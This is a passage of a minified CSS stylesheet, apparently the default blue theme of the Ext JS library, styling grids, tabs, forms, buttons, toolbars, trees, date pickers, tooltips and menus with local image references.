solid; padding:4px 4px; overflow:hidden; -moz-user-select: none; -khtml-user-select: none; line-height:14px; } .x-list-body { overflow:auto; overflow-x:hidden; overflow-y:auto; zoom:1; float: left; width: 100%; } .x-list-body dl { zoom:1; } .x-list-body dt { display:block; float:left; overflow:hidden; -o-text-overflow: ellipsis; text-overflow: ellipsis; white-space: nowrap; cursor:pointer; zoom:1; } .x-list-body dt em { display:block; padding:3px 4px; overflow:hidden; -moz-user-select: none; -khtml-user-select: none; } .x-list-resizer { border-left:1px solid; border-right:1px solid; position:absolute; left:0; top:0; } .x-list-header-inner em.sort-asc { background: transparent no-repeat center 0; border-style:solid; border-width: 0 1px 1px; padding-bottom:3px; } .x-list-header-inner em.sort-desc { background: transparent no-repeat center -23px; border-style:solid; border-width: 0 1px 1px; padding-bottom:3px; } /* Shared styles */ .x-slider { zoom:1; } .x-slider-inner { position:relative; left:0; top:0; overflow:visible; zoom:1; } .x-slider-focus { position:absolute; left:0; top:0; width:1px; height:1px; line-height:1px; font-size:1px; -moz-outline:0 none; outline:0 none; -moz-user-select: none; -khtml-user-select:none; -webkit-user-select:ignore; display:block; overflow:hidden; } /* Horizontal styles */ .x-slider-horz { padding-left:7px; background:transparent no-repeat 0 -22px; } .x-slider-horz .x-slider-end { padding-right:7px; zoom:1; background:transparent no-repeat right -44px; } .x-slider-horz .x-slider-inner { background:transparent repeat-x 0 0; height:22px; } .x-slider-horz .x-slider-thumb { width:14px; height:15px; position:absolute; left:0; top:3px; background:transparent no-repeat 0 0; } .x-slider-horz .x-slider-thumb-over { background-position: -14px -15px; } .x-slider-horz .x-slider-thumb-drag { background-position: -28px -30px; } /* Vertical styles */ .x-slider-vert { padding-top:7px; background:transparent no-repeat -44px 0; width:22px; } .x-slider-vert .x-slider-end { padding-bottom:7px; zoom:1; background:transparent no-repeat -22px bottom; } .x-slider-vert .x-slider-inner { background:transparent repeat-y 0 0; } .x-slider-vert .x-slider-thumb { width:15px; height:14px; position:absolute; left:3px; bottom:0; background:transparent no-repeat 0 0; } .x-slider-vert .x-slider-thumb-over { background-position: -15px -14px; } .x-slider-vert .x-slider-thumb-drag { background-position: -30px -28px; }.x-window-dlg .x-window-body { border:0 none !important; padding:5px 10px; overflow:hidden !important; } .x-window-dlg .x-window-mc { border:0 none !important; } .x-window-dlg .ext-mb-input { margin-top:4px; width:95%; } .x-window-dlg .ext-mb-textarea { margin-top:4px; } .x-window-dlg .x-progress-wrap { margin-top:4px; } .ext-ie .x-window-dlg .x-progress-wrap { margin-top:6px; } .x-window-dlg .x-msg-box-wait { background:transparent no-repeat left; display:block; width:300px; padding-left:18px; line-height:18px; } .x-window-dlg .ext-mb-icon { float:left; width:47px; height:32px; } .x-window-dlg .x-dlg-icon .ext-mb-content{ zoom: 1; margin-left: 47px; } .x-window-dlg .ext-mb-info, .x-window-dlg .ext-mb-warning, .x-window-dlg .ext-mb-question, .x-window-dlg .ext-mb-error { background:transparent no-repeat top left; } .ext-gecko2 .ext-mb-fix-cursor { overflow:auto; }.ext-el-mask { background-color: #ccc; } .ext-el-mask-msg { border-color:#6593cf; background-color:#c3daf9; background-image:url(../images/default/box/tb-blue.gif); } .ext-el-mask-msg div { background-color: #eee; border-color:#a3bad9; color:#222; font:normal 11px tahoma, arial, helvetica, sans-serif; } .x-mask-loading div { background-color:#fbfbfb; background-image:url(../images/default/grid/loading.gif); } .x-item-disabled { color: gray; } .x-item-disabled * { color: gray !important; } .x-splitbar-proxy { background-color: #aaa; } .x-color-palette a { border-color:#fff; } .x-color-palette a:hover, .x-color-palette a.x-color-palette-sel { border-color:#8bb8f3; background-color: #deecfd; } /* .x-color-palette em:hover, .x-color-palette span:hover{ background-color: #deecfd; } */ .x-color-palette em { border-color:#aca899; } .x-ie-shadow { background-color:#777; } .x-shadow .xsmc { background-image: url(../images/default/shadow-c.png); } .x-shadow .xsml, .x-shadow .xsmr { background-image: url(../images/default/shadow-lr.png); } .x-shadow .xstl, .x-shadow .xstc, .x-shadow .xstr, .x-shadow .xsbl, .x-shadow .xsbc, .x-shadow .xsbr{ background-image: url(../images/default/shadow.png); } .loading-indicator { font-size: 11px; background-image: url(../images/default/grid/loading.gif); } .x-spotlight { background-color: #ccc; } .x-tab-panel-header, .x-tab-panel-footer { background-color: #deecfd; border-color:#8db2e3; overflow:hidden; zoom:1; } .x-tab-panel-header, .x-tab-panel-footer { border-color:#8db2e3; } ul.x-tab-strip-top{ background-color:#cedff5; background-image: url(../images/default/tabs/tab-strip-bg.gif); border-bottom-color:#8db2e3; } ul.x-tab-strip-bottom{ background-color:#cedff5; background-image: url(../images/default/tabs/tab-strip-btm-bg.gif); border-top-color:#8db2e3; } .x-tab-panel-header-plain .x-tab-strip-spacer, .x-tab-panel-footer-plain .x-tab-strip-spacer { border-color:#8db2e3; background-color: #deecfd; } .x-tab-strip span.x-tab-strip-text { font:normal 11px tahoma,arial,helvetica; color:#416aa3; } .x-tab-strip-over span.x-tab-strip-text { color:#15428b; } .x-tab-strip-active span.x-tab-strip-text { color:#15428b; font-weight:bold; } .x-tab-strip-disabled .x-tabs-text { color:#aaaaaa; } .x-tab-strip-top .x-tab-right, .x-tab-strip-top .x-tab-left, .x-tab-strip-top .x-tab-strip-inner{ background-image: url(../images/default/tabs/tabs-sprite.gif); } .x-tab-strip-bottom .x-tab-right { background-image: url(../images/default/tabs/tab-btm-inactive-right-bg.gif); } .x-tab-strip-bottom .x-tab-left { background-image: url(../images/default/tabs/tab-btm-inactive-left-bg.gif); } .x-tab-strip-bottom .x-tab-strip-over .x-tab-right { background-image: url(../images/default/tabs/tab-btm-over-right-bg.gif); } .x-tab-strip-bottom .x-tab-strip-over .x-tab-left { background-image: url(../images/default/tabs/tab-btm-over-left-bg.gif); } .x-tab-strip-bottom .x-tab-strip-active .x-tab-right { background-image: url(../images/default/tabs/tab-btm-right-bg.gif); } .x-tab-strip-bottom .x-tab-strip-active .x-tab-left { background-image: url(../images/default/tabs/tab-btm-left-bg.gif); } .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close { background-image:url(../images/default/tabs/tab-close.gif); } .x-tab-strip .x-tab-strip-closable a.x-tab-strip-close:hover{ background-image:url(../images/default/tabs/tab-close.gif); } .x-tab-panel-body { border-color:#8db2e3; background-color:#fff; } .x-tab-panel-body-top { border-top: 0 none; } .x-tab-panel-body-bottom { border-bottom: 0 none; } .x-tab-scroller-left { background-image:url(../images/default/tabs/scroll-left.gif); border-bottom-color:#8db2e3; } .x-tab-scroller-left-over { background-position: 0 0; } .x-tab-scroller-left-disabled { background-position: -18px 0; opacity:.5; -moz-opacity:.5; filter:alpha(opacity=50); cursor:default; } .x-tab-scroller-right { background-image:url(../images/default/tabs/scroll-right.gif); border-bottom-color:#8db2e3; } .x-tab-panel-bbar .x-toolbar, .x-tab-panel-tbar .x-toolbar { border-color:#99bbe8; }.x-form-field { font:normal 12px tahoma, arial, helvetica, sans-serif; } .x-form-text, textarea.x-form-field { background-color:#fff; background-image:url(../images/default/form/text-bg.gif); border-color:#b5b8c8; } .x-form-select-one { background-color:#fff; border-color:#b5b8c8; } .x-form-check-group-label { border-bottom: 1px solid #99bbe8; color: #15428b; } .x-editor .x-form-check-wrap { background-color:#fff; } .x-form-field-wrap .x-form-trigger { background-image:url(../images/default/form/trigger.gif); border-bottom-color:#b5b8c8; } .x-form-field-wrap .x-form-date-trigger { background-image: url(../images/default/form/date-trigger.gif); } .x-form-field-wrap .x-form-clear-trigger { background-image: url(../images/default/form/clear-trigger.gif); } .x-form-field-wrap .x-form-search-trigger { background-image: url(../images/default/form/search-trigger.gif); } .x-trigger-wrap-focus .x-form-trigger { border-bottom-color:#7eadd9; } .x-item-disabled .x-form-trigger-over { border-bottom-color:#b5b8c8; } .x-item-disabled .x-form-trigger-click { border-bottom-color:#b5b8c8; } .x-form-focus, textarea.x-form-focus { border-color:#7eadd9; } .x-form-invalid, textarea.x-form-invalid { background-color:#fff; background-image:url(../images/default/grid/invalid_line.gif); border-color:#c30; } .x-form-invalid.x-form-composite { border: none; background-image: none; } .x-form-invalid.x-form-composite .x-form-invalid { background-color:#fff; background-image:url(../images/default/grid/invalid_line.gif); border-color:#c30; } .x-form-inner-invalid, textarea.x-form-inner-invalid { background-color:#fff; background-image:url(../images/default/grid/invalid_line.gif); } .x-form-grow-sizer { font:normal 12px tahoma, arial, helvetica, sans-serif; } .x-form-item { font:normal 12px tahoma, arial, helvetica, sans-serif; } .x-form-invalid-msg { color:#c0272b; font:normal 11px tahoma, arial, helvetica, sans-serif; background-image:url(../images/default/shared/warning.gif); } .x-form-empty-field { color:gray; } .x-small-editor .x-form-field { font:normal 11px arial, tahoma, helvetica, sans-serif; } .ext-webkit .x-small-editor .x-form-field { font:normal 11px arial, tahoma, helvetica, sans-serif; } .x-form-invalid-icon { background-image:url(../images/default/form/exclamation.gif); } .x-fieldset { border-color:#b5b8c8; } .x-fieldset legend { font:bold 11px tahoma, arial, helvetica, sans-serif; color:#15428b; } .x-btn{ font:normal 11px tahoma, verdana, helvetica; } .x-btn button{ font:normal 11px arial,tahoma,verdana,helvetica; color:#333; } .x-btn em { font-style:normal; font-weight:normal; } .x-btn-tl, .x-btn-tr, .x-btn-tc, .x-btn-ml, .x-btn-mr, .x-btn-mc, .x-btn-bl, .x-btn-br, .x-btn-bc{ background-image:url(../images/default/button/btn.gif); } .x-btn-click .x-btn-text, .x-btn-menu-active .x-btn-text, .x-btn-pressed .x-btn-text{ color:#000; } .x-btn-disabled *{ color:gray !important; } .x-btn-mc em.x-btn-arrow { background-image:url(../images/default/button/arrow.gif); } .x-btn-mc em.x-btn-split { background-image:url(../images/default/button/s-arrow.gif); } .x-btn-over .x-btn-mc em.x-btn-split, .x-btn-click .x-btn-mc em.x-btn-split, .x-btn-menu-active .x-btn-mc em.x-btn-split, .x-btn-pressed .x-btn-mc em.x-btn-split { background-image:url(../images/default/button/s-arrow-o.gif); } .x-btn-mc em.x-btn-arrow-bottom { background-image:url(../images/default/button/s-arrow-b-noline.gif); } .x-btn-mc em.x-btn-split-bottom { background-image:url(../images/default/button/s-arrow-b.gif); } .x-btn-over .x-btn-mc em.x-btn-split-bottom, .x-btn-click .x-btn-mc em.x-btn-split-bottom, .x-btn-menu-active .x-btn-mc em.x-btn-split-bottom, .x-btn-pressed .x-btn-mc em.x-btn-split-bottom { background-image:url(../images/default/button/s-arrow-bo.gif); } .x-btn-group-header { color: #3e6aaa; } .x-btn-group-tc { background-image: url(../images/default/button/group-tb.gif); } .x-btn-group-tl { background-image: url(../images/default/button/group-cs.gif); } .x-btn-group-tr { background-image: url(../images/default/button/group-cs.gif); } .x-btn-group-bc { background-image: url(../images/default/button/group-tb.gif); } .x-btn-group-bl { background-image: url(../images/default/button/group-cs.gif); } .x-btn-group-br { background-image: url(../images/default/button/group-cs.gif); } .x-btn-group-ml { background-image: url(../images/default/button/group-lr.gif); } .x-btn-group-mr { background-image: url(../images/default/button/group-lr.gif); } .x-btn-group-notitle .x-btn-group-tc { background-image: url(../images/default/button/group-tb.gif); }.x-toolbar{ border-color:#a9bfd3; background-color:#d0def0; background-image:url(../images/default/toolbar/bg.gif); } .x-toolbar td,.x-toolbar span,.x-toolbar input,.x-toolbar div,.x-toolbar select,.x-toolbar label{ font:normal 11px arial,tahoma, helvetica, sans-serif; } .x-toolbar .x-item-disabled { color:gray; } .x-toolbar .x-item-disabled * { color:gray; } .x-toolbar .x-btn-mc em.x-btn-split { background-image:url(../images/default/button/s-arrow-noline.gif); } .x-toolbar .x-btn-over .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-click .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-menu-active .x-btn-mc em.x-btn-split, .x-toolbar .x-btn-pressed .x-btn-mc em.x-btn-split { background-image:url(../images/default/button/s-arrow-o.gif); } .x-toolbar .x-btn-mc em.x-btn-split-bottom { background-image:url(../images/default/button/s-arrow-b-noline.gif); } .x-toolbar .x-btn-over .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-click .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-menu-active .x-btn-mc em.x-btn-split-bottom, .x-toolbar .x-btn-pressed .x-btn-mc em.x-btn-split-bottom { background-image:url(../images/default/button/s-arrow-bo.gif); } .x-toolbar .xtb-sep { background-image: url(../images/default/grid/grid-blue-split.gif); } .x-tbar-page-first{ background-image: url(../images/default/grid/page-first.gif) !important; } .x-tbar-loading{ background-image: url(../images/default/grid/refresh.gif) !important; } .x-tbar-page-last{ background-image: url(../images/default/grid/page-last.gif) !important; } .x-tbar-page-next{ background-image: url(../images/default/grid/page-next.gif) !important; } .x-tbar-page-prev{ background-image: url(../images/default/grid/page-prev.gif) !important; } .x-item-disabled .x-tbar-loading{ background-image: url(../images/default/grid/refresh-disabled.gif) !important; } .x-item-disabled .x-tbar-page-first{ background-image: url(../images/default/grid/page-first-disabled.gif) !important; } .x-item-disabled .x-tbar-page-last{ background-image: url(../images/default/grid/page-last-disabled.gif) !important; } .x-item-disabled .x-tbar-page-next{ background-image: url(../images/default/grid/page-next-disabled.gif) !important; } .x-item-disabled .x-tbar-page-prev{ background-image: url(../images/default/grid/page-prev-disabled.gif) !important; } .x-paging-info { color:#444; } .x-toolbar-more-icon { background-image: url(../images/default/toolbar/more.gif) !important; }.x-resizable-handle { background-color:#fff; } .x-resizable-over .x-resizable-handle-east, .x-resizable-pinned .x-resizable-handle-east, .x-resizable-over .x-resizable-handle-west, .x-resizable-pinned .x-resizable-handle-west { background-image:url(../images/default/sizer/e-handle.gif); } .x-resizable-over .x-resizable-handle-south, .x-resizable-pinned .x-resizable-handle-south, .x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north { background-image:url(../images/default/sizer/s-handle.gif); } .x-resizable-over .x-resizable-handle-north, .x-resizable-pinned .x-resizable-handle-north{ background-image:url(../images/default/sizer/s-handle.gif); } .x-resizable-over .x-resizable-handle-southeast, .x-resizable-pinned .x-resizable-handle-southeast{ background-image:url(../images/default/sizer/se-handle.gif); } .x-resizable-over .x-resizable-handle-northwest, .x-resizable-pinned .x-resizable-handle-northwest{ background-image:url(../images/default/sizer/nw-handle.gif); } .x-resizable-over .x-resizable-handle-northeast, .x-resizable-pinned .x-resizable-handle-northeast{ background-image:url(../images/default/sizer/ne-handle.gif); } .x-resizable-over .x-resizable-handle-southwest, .x-resizable-pinned .x-resizable-handle-southwest{ background-image:url(../images/default/sizer/sw-handle.gif); } .x-resizable-proxy{ border-color:#3b5a82; } .x-resizable-overlay{ background-color:#fff; } .x-grid3 { background-color:#fff; } .x-grid-panel .x-panel-mc .x-panel-body { border-color:#99bbe8; } .x-grid3-row td, .x-grid3-summary-row td{ font:normal 11px/13px arial, tahoma, helvetica, sans-serif; } .x-grid3-hd-row td { font:normal 11px/15px arial, tahoma, helvetica, sans-serif; } .x-grid3-hd-row td { border-left-color:#eee; border-right-color:#d0d0d0; } .x-grid-row-loading { background-color: #fff; background-image:url(../images/default/shared/loading-balls.gif); } .x-grid3-row { border-color:#ededed; border-top-color:#fff; } .x-grid3-row-alt{ background-color:#fafafa; } .x-grid3-row-over { border-color:#ddd; background-color:#efefef; background-image:url(../images/default/grid/row-over.gif); } .x-grid3-resize-proxy { background-color:#777; } .x-grid3-resize-marker { background-color:#777; } .x-grid3-header{ background-color:#f9f9f9; background-image:url(../images/default/grid/grid3-hrow.gif); } .x-grid3-header-pop { border-left-color:#d0d0d0; } .x-grid3-header-pop-inner { border-left-color:#eee; background-image:url(../images/default/grid/hd-pop.gif); } td.x-grid3-hd-over, td.sort-desc, td.sort-asc, td.x-grid3-hd-menu-open { border-left-color:#aaccf6; border-right-color:#aaccf6; } td.x-grid3-hd-over .x-grid3-hd-inner, td.sort-desc .x-grid3-hd-inner, td.sort-asc .x-grid3-hd-inner, td.x-grid3-hd-menu-open .x-grid3-hd-inner { background-color:#ebf3fd; background-image:url(../images/default/grid/grid3-hrow-over.gif); } .sort-asc .x-grid3-sort-icon { background-image: url(../images/default/grid/sort_asc.gif); } .sort-desc .x-grid3-sort-icon { background-image: url(../images/default/grid/sort_desc.gif); } .x-grid3-cell-text, .x-grid3-hd-text { color:#000; } .x-grid3-split { background-image: url(../images/default/grid/grid-split.gif); } .x-grid3-hd-text { color:#15428b; } .x-dd-drag-proxy .x-grid3-hd-inner{ background-color:#ebf3fd; background-image:url(../images/default/grid/grid3-hrow-over.gif); border-color:#aaccf6; } .col-move-top{ background-image:url(../images/default/grid/col-move-top.gif); } .col-move-bottom{ background-image:url(../images/default/grid/col-move-bottom.gif); } td.grid-hd-group-cell { background: url(../images/default/grid/grid3-hrow.gif) repeat-x bottom; } .x-grid3-row-selected { background-color: #dfe8f6 !important; background-image: none; border-color:#a3bae9; } .x-grid3-cell-selected{ background-color: #b8cfee !important; color:#000; } .x-grid3-cell-selected span{ color:#000 !important; } .x-grid3-cell-selected .x-grid3-cell-text{ color:#000; } .x-grid3-locked td.x-grid3-row-marker, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker{ background-color:#ebeadb !important; background-image:url(../images/default/grid/grid-hrow.gif) !important; color:#000; border-top-color:#fff; border-right-color:#6fa0df !important; } .x-grid3-locked td.x-grid3-row-marker div, .x-grid3-locked .x-grid3-row-selected td.x-grid3-row-marker div{ color:#15428b !important; } .x-grid3-dirty-cell { background-image:url(../images/default/grid/dirty.gif); } .x-grid3-topbar, .x-grid3-bottombar{ font:normal 11px arial, tahoma, helvetica, sans-serif; } .x-grid3-bottombar .x-toolbar{ border-top-color:#a9bfd3; } .x-props-grid .x-grid3-td-name .x-grid3-cell-inner{ background-image:url(../images/default/grid/grid3-special-col-bg.gif) !important; color:#000 !important; } .x-props-grid .x-grid3-body .x-grid3-td-name{ background-color:#fff !important; border-right-color:#eee; } .xg-hmenu-sort-asc .x-menu-item-icon{ background-image: url(../images/default/grid/hmenu-asc.gif); } .xg-hmenu-sort-desc .x-menu-item-icon{ background-image: url(../images/default/grid/hmenu-desc.gif); } .xg-hmenu-lock .x-menu-item-icon{ background-image: url(../images/default/grid/hmenu-lock.gif); } .xg-hmenu-unlock .x-menu-item-icon{ background-image: url(../images/default/grid/hmenu-unlock.gif); } .x-grid3-hd-btn { background-color:#c3daf9; background-image:url(../images/default/grid/grid3-hd-btn.gif); } .x-grid3-body .x-grid3-td-expander { background-image:url(../images/default/grid/grid3-special-col-bg.gif); } .x-grid3-row-expander { background-image:url(../images/default/grid/row-expand-sprite.gif); } .x-grid3-body .x-grid3-td-checker { background-image: url(../images/default/grid/grid3-special-col-bg.gif); } .x-grid3-row-checker, .x-grid3-hd-checker { background-image:url(../images/default/grid/row-check-sprite.gif); } .x-grid3-body .x-grid3-td-numberer { background-image:url(../images/default/grid/grid3-special-col-bg.gif); } .x-grid3-body .x-grid3-td-numberer .x-grid3-cell-inner { color:#444; } .x-grid3-body .x-grid3-td-row-icon { background-image:url(../images/default/grid/grid3-special-col-bg.gif); } .x-grid3-body .x-grid3-row-selected .x-grid3-td-numberer, .x-grid3-body .x-grid3-row-selected .x-grid3-td-checker, .x-grid3-body .x-grid3-row-selected .x-grid3-td-expander { background-image:url(../images/default/grid/grid3-special-col-sel-bg.gif); } .x-grid3-check-col { background-image:url(../images/default/menu/unchecked.gif); } .x-grid3-check-col-on { background-image:url(../images/default/menu/checked.gif); } .x-grid-group, .x-grid-group-body, .x-grid-group-hd { zoom:1; } .x-grid-group-hd { border-bottom-color:#99bbe8; } .x-grid-group-hd div.x-grid-group-title { background-image:url(../images/default/grid/group-collapse.gif); color:#3764a0; font:bold 11px tahoma, arial, helvetica, sans-serif; } .x-grid-group-collapsed .x-grid-group-hd div.x-grid-group-title { background-image:url(../images/default/grid/group-expand.gif); } .x-group-by-icon { background-image:url(../images/default/grid/group-by.gif); } .x-cols-icon { background-image:url(../images/default/grid/columns.gif); } .x-show-groups-icon { background-image:url(../images/default/grid/group-by.gif); } .x-grid-empty { color:gray; font:normal 11px tahoma, arial, helvetica, sans-serif; } .x-grid-with-col-lines .x-grid3-row td.x-grid3-cell { border-right-color:#ededed; } .x-grid-with-col-lines .x-grid3-row-selected { border-top-color:#a3bae9; }.x-pivotgrid .x-grid3-header-offset table td { background: url(../images/default/grid/grid3-hrow.gif) repeat-x 50% 100%; border-left: 1px solid; border-right: 1px solid; border-left-color: #EEE; border-right-color: #D0D0D0; } .x-pivotgrid .x-grid3-row-headers { background-color: #f9f9f9; } .x-pivotgrid .x-grid3-row-headers table td { background: #EEE url(../images/default/grid/grid3-rowheader.gif) repeat-x left top; border-left: 1px solid; border-right: 1px solid; border-left-color: #EEE; border-right-color: #D0D0D0; border-bottom: 1px solid; border-bottom-color: #D0D0D0; height: 18px; } .x-dd-drag-ghost{ color:#000; font: normal 11px arial, helvetica, sans-serif; border-color: #ddd #bbb #bbb #ddd; background-color:#fff; } .x-dd-drop-nodrop .x-dd-drop-icon{ background-image: url(../images/default/dd/drop-no.gif); } .x-dd-drop-ok .x-dd-drop-icon{ background-image: url(../images/default/dd/drop-yes.gif); } .x-dd-drop-ok-add .x-dd-drop-icon{ background-image: url(../images/default/dd/drop-add.gif); } .x-view-selector { background-color:#c3daf9; border-color:#3399bb; }.x-tree-node-expanded .x-tree-node-icon{ background-image:url(../images/default/tree/folder-open.gif); } .x-tree-node-leaf .x-tree-node-icon{ background-image:url(../images/default/tree/folder.gif); } .x-tree-node-collapsed .x-tree-node-icon{ background-image:url(../images/default/tree/folder.gif); } .x-tree-node-loading .x-tree-node-icon{ background-image:url(../images/default/tree/loading.gif) !important; } .x-tree-node .x-tree-node-inline-icon { background-image: none; } .x-tree-node-loading a span{ font-style: italic; color:#444444; } .x-tree-lines .x-tree-elbow{ background-image:url(../images/default/tree/elbow.gif); } .x-tree-lines .x-tree-elbow-plus{ background-image:url(../images/default/tree/elbow-plus.gif); } .x-tree-lines .x-tree-elbow-minus{ background-image:url(../images/default/tree/elbow-minus.gif); } .x-tree-lines .x-tree-elbow-end{ background-image:url(../images/default/tree/elbow-end.gif); } .x-tree-lines .x-tree-elbow-end-plus{ background-image:url(../images/default/tree/elbow-end-plus.gif); } .x-tree-lines .x-tree-elbow-end-minus{ background-image:url(../images/default/tree/elbow-end-minus.gif); } .x-tree-lines .x-tree-elbow-line{ background-image:url(../images/default/tree/elbow-line.gif); } .x-tree-no-lines .x-tree-elbow-plus{ background-image:url(../images/default/tree/elbow-plus-nl.gif); } .x-tree-no-lines .x-tree-elbow-minus{ background-image:url(../images/default/tree/elbow-minus-nl.gif); } .x-tree-no-lines .x-tree-elbow-end-plus{ background-image:url(../images/default/tree/elbow-end-plus-nl.gif); } .x-tree-no-lines .x-tree-elbow-end-minus{ background-image:url(../images/default/tree/elbow-end-minus-nl.gif); } .x-tree-arrows .x-tree-elbow-plus{ background-image:url(../images/default/tree/arrows.gif); } .x-tree-arrows .x-tree-elbow-minus{ background-image:url(../images/default/tree/arrows.gif); } .x-tree-arrows .x-tree-elbow-end-plus{ background-image:url(../images/default/tree/arrows.gif); } .x-tree-arrows .x-tree-elbow-end-minus{ background-image:url(../images/default/tree/arrows.gif); } .x-tree-node{ color:#000; font: normal 11px arial, tahoma, helvetica, sans-serif; } .x-tree-node a, .x-dd-drag-ghost a{ color:#000; } .x-tree-node a span, .x-dd-drag-ghost a span{ color:#000; } .x-tree-node .x-tree-node-disabled a span{ color:gray !important; } .x-tree-node div.x-tree-drag-insert-below{ border-bottom-color:#36c; } .x-tree-node div.x-tree-drag-insert-above{ border-top-color:#36c; } .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-below a{ border-bottom-color:#36c; } .x-tree-dd-underline .x-tree-node div.x-tree-drag-insert-above a{ border-top-color:#36c; } .x-tree-node .x-tree-drag-append a span{ background-color:#ddd; border-color:gray; } .x-tree-node .x-tree-node-over { background-color: #eee; } .x-tree-node .x-tree-selected { background-color: #d9e8fb; } .x-tree-drop-ok-append .x-dd-drop-icon{ background-image: url(../images/default/tree/drop-add.gif); } .x-tree-drop-ok-above .x-dd-drop-icon{ background-image: url(../images/default/tree/drop-over.gif); } .x-tree-drop-ok-below .x-dd-drop-icon{ background-image: url(../images/default/tree/drop-under.gif); } .x-tree-drop-ok-between .x-dd-drop-icon{ background-image: url(../images/default/tree/drop-between.gif); }.x-date-picker { border-color: #1b376c; background-color:#fff; } .x-date-middle,.x-date-left,.x-date-right { background-image: url(../images/default/shared/hd-sprite.gif); color:#fff; font:bold 11px "sans serif", tahoma, verdana, helvetica; } .x-date-middle .x-btn .x-btn-text { color:#fff; } .x-date-middle .x-btn-mc em.x-btn-arrow { background-image:url(../images/default/toolbar/btn-arrow-light.gif); } .x-date-right a { background-image: url(../images/default/shared/right-btn.gif); } .x-date-left a{ background-image: url(../images/default/shared/left-btn.gif); } .x-date-inner th { background-color:#dfecfb; background-image:url(../images/default/shared/glass-bg.gif); border-bottom-color:#a3bad9; font:normal 10px arial, helvetica,tahoma,sans-serif; color:#233d6d; } .x-date-inner td { border-color:#fff; } .x-date-inner a { font:normal 11px arial, helvetica,tahoma,sans-serif; color:#000; } .x-date-inner .x-date-active{ color:#000; } .x-date-inner .x-date-selected a{ background-color:#dfecfb; background-image:url(../images/default/shared/glass-bg.gif); border-color:#8db2e3; } .x-date-inner .x-date-today a{ border-color:darkred; } .x-date-inner .x-date-selected span{ font-weight:bold; } .x-date-inner .x-date-prevday a,.x-date-inner .x-date-nextday a { color:#aaa; } .x-date-bottom { border-top-color:#a3bad9; background-color:#dfecfb; background-image:url(../images/default/shared/glass-bg.gif); } .x-date-inner a:hover, .x-date-inner .x-date-disabled a:hover{ color:#000; background-color:#ddecfe; } .x-date-inner .x-date-disabled a { background-color:#eee; color:#bbb; } .x-date-mmenu{ background-color:#eee !important; } .x-date-mmenu .x-menu-item { font-size:10px; color:#000; } .x-date-mp { background-color:#fff; } .x-date-mp td { font:normal 11px arial, helvetica,tahoma,sans-serif; } .x-date-mp-btns button { background-color:#083772; color:#fff; border-color: #3366cc #000055 #000055 #3366cc; font:normal 11px arial, helvetica,tahoma,sans-serif; } .x-date-mp-btns { background-color: #dfecfb; background-image: url(../images/default/shared/glass-bg.gif); } .x-date-mp-btns td { border-top-color: #c5d2df; } td.x-date-mp-month a,td.x-date-mp-year a { color:#15428b; } td.x-date-mp-month a:hover,td.x-date-mp-year a:hover { color:#15428b; background-color: #ddecfe; } td.x-date-mp-sel a { background-color: #dfecfb; background-image: url(../images/default/shared/glass-bg.gif); border-color:#8db2e3; } .x-date-mp-ybtn a { background-image:url(../images/default/panel/tool-sprites.gif); } td.x-date-mp-sep { border-right-color:#c5d2df; }.x-tip .x-tip-close{ background-image: url(../images/default/qtip/close.gif); } .x-tip .x-tip-tc, .x-tip .x-tip-tl, .x-tip .x-tip-tr, .x-tip .x-tip-bc, .x-tip .x-tip-bl, .x-tip .x-tip-br, .x-tip .x-tip-ml, .x-tip .x-tip-mr { background-image: url(../images/default/qtip/tip-sprite.gif); } .x-tip .x-tip-mc { font: normal 11px tahoma,arial,helvetica,sans-serif; } .x-tip .x-tip-ml { background-color: #fff; } .x-tip .x-tip-header-text { font: bold 11px tahoma,arial,helvetica,sans-serif; color:#444; } .x-tip .x-tip-body { font: normal 11px tahoma,arial,helvetica,sans-serif; color:#444; } .x-form-invalid-tip .x-tip-tc, .x-form-invalid-tip .x-tip-tl, .x-form-invalid-tip .x-tip-tr, .x-form-invalid-tip .x-tip-bc, .x-form-invalid-tip .x-tip-bl, .x-form-invalid-tip .x-tip-br, .x-form-invalid-tip .x-tip-ml, .x-form-invalid-tip .x-tip-mr { background-image: url(../images/default/form/error-tip-corners.gif); } .x-form-invalid-tip .x-tip-body { background-image:url(../images/default/form/exclamation.gif); } .x-tip-anchor { background-image:url(../images/default/qtip/tip-anchor-sprite.gif); }.x-menu { background-color:#f0f0f0; background-image:url(../images/default/menu/menu.gif); } .x-menu-floating{ border-color:#718bb7; } .x-menu-nosep { background-image:none; } .x-menu-list-item{ font:normal 11px arial,tahoma,sans-serif; } .x-menu-item-arrow{ background-image:url(../images/default/menu/menu-parent.gif); } .x-menu-sep { background-color:#e0e0e0; border-bottom-color:#fff; } a.x-menu-item { color:#222; } .x-menu-item-active { background-image: url(../images/default/menu/item-over.gif); background-color: #dbecf4; border-color:#aaccf6; } .x-menu-item-active a.x-menu-item { border-color:#aaccf6; } .x-menu-check-item .x-menu-item-icon{ background-image:url(../images/default/menu/unchecked.gif); } .x-menu-item-checked .x-menu-item-icon{ background-image:url(../images/default/menu/checked.gif); } .x-menu-item-checked .x-menu-group-item .x-menu-item-icon{ background-image:url(../images/default/menu/group-checked.gif); } .x-menu-group-item .x-menu-item-icon{ background-image:none; } .x-menu-plain { background-color:#f0f0f0 !important; background-image: none; } .x-date-menu, .x-color-menu{ background-color: #fff !important; } .x-menu .x-date-picker{ border-color:#a3bad9; } .x-cycle-menu .x-menu-item-checked { border-color:#a3bae9 !important; background-color:#def8f6; } .x-menu-scroller-top { background-image:url(../images/default/layout/mini-top.gif); } .x-menu-scroller-bottom { background-image:url(../images/default/layout/mini-bottom.gif); } .x-box-tl { background-image: url(../images/default/box/corners.gif); } .x-box-tc { background-image: url(../images/default/box/tb.gif); } .x-box-tr { background-image: url(../images/default/box/corners.gif); } .x-box-ml { background-image: url(../images/default/box/l.gif); } .x-box-mc { background-color: #eee; background-image: url(../images/default/box/tb.gif); font-family: "Myriad Pro","Myriad Web","Tahoma","Helvetica","Arial",sans-serif; color: #393939; font-size: 12px; } .x-box-mc h3 { font-size: 14px; font-weight: bold; } .x-box-mr { background-image: url(../images/default/box/r.gif); } .x-box-bl { background-image: url(../images/default/box/corners.gif); } .x-box-bc { background-image: url(../images/default/box/tb.gif); } .x-box-br { background-image: 